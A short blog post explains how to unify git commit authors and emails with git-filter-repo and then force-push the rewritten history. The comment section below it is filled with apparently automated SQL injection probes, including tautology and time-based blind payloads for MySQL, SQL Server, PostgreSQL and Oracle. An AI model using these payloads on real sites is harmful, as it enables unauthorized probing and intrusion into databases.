Today I needed to rewrite some git repo commits from a very recently created repository where only I had committed, but from multiple systems with different setups; my usual setup with the proper info, another one where I didn't add the global user.email git property yet, and also added the license file from gitlab itself. So basically I had three different mail addresses and two different names associated with different commits that I wanted to unify, as that's a pretty messed up history for a very recent repo.
As I found on this question on StackOverflow about git author rewriting, that can be done with git-filter-repo tool:
For installing it, I used brew (but it's available in most package managers) with just:
brew install git-filter-repo
So then you can use it as:
git-filter-repo --name-callback 'return name.replace(b"oldName", bytes("newNameWithUtf8Chars", "utf-8"))' --email-callback 'return email.replace(b"oldmail@example.com", b"newmail@example.com")' --force
After that I had to re-add the remote and git push --force. Take into account that this rewrites history, so you (and your team) might need to reclone the repo. Please plan this accordingly.
Also take into account that if the branch is protected, you might need to add permissions for allowing to push. I allowed that temporarily following Allow force push on a protected branch on Gitlab docs.
Comments50
1
1
1
1
1
1
1
-1 OR 2+169-169-1=0+0+0+1 --
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
-1 OR 2+849-849-1=0+0+0+1
1
-1' OR 2+590-590-1=0+0+0+1 --
1
-1' OR 2+352-352-1=0+0+0+1 or 'ciZmK4wl'='
1
-1" OR 2+694-694-1=0+0+0+1 --
1
1*if(now()=sysdate(),sleep(15),0)
1-1; waitfor delay '0:0:15' --
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1-1); waitfor delay '0:0:15' --
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1-1 waitfor delay '0:0:15' --
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1ldgIf3hA'; waitfor delay '0:0:15' --
1
1
1-1; waitfor delay '0:0:15' --
1-1 OR 796=(SELECT 796 FROM PG_SLEEP(15))--
1
1
1-1); waitfor delay '0:0:15' --
1-1) OR 670=(SELECT 670 FROM PG_SLEEP(15))--
1
1
1-1 waitfor delay '0:0:15' --
1-1)) OR 893=(SELECT 893 FROM PG_SLEEP(15))--
1
1
1wMOosQrM'; waitfor delay '0:0:15' --
1KV1HRH4P' OR 755=(SELECT 755 FROM PG_SLEEP(15))--
1
1
1-1 OR 384=(SELECT 384 FROM PG_SLEEP(15))--
1b1a6qF8e') OR 620=(SELECT 620 FROM PG_SLEEP(15))--
1
1
1-1) OR 315=(SELECT 315 FROM PG_SLEEP(15))--
11EOjCGzq')) OR 655=(SELECT 655 FROM PG_SLEEP(15))--
1
1
1-1)) OR 149=(SELECT 149 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1LW7tSw5X' OR 52=(SELECT 52 FROM PG_SLEEP(15))--
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1EcbF09js') OR 917=(SELECT 917 FROM PG_SLEEP(15))--
1'"
1
@@oYQl2
1
1
1y3ox04eG')) OR 949=(SELECT 949 FROM PG_SLEEP(15))--
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1
@@smV3f
1
1
1
1
1
1
1
1
1
1
1
1
1
1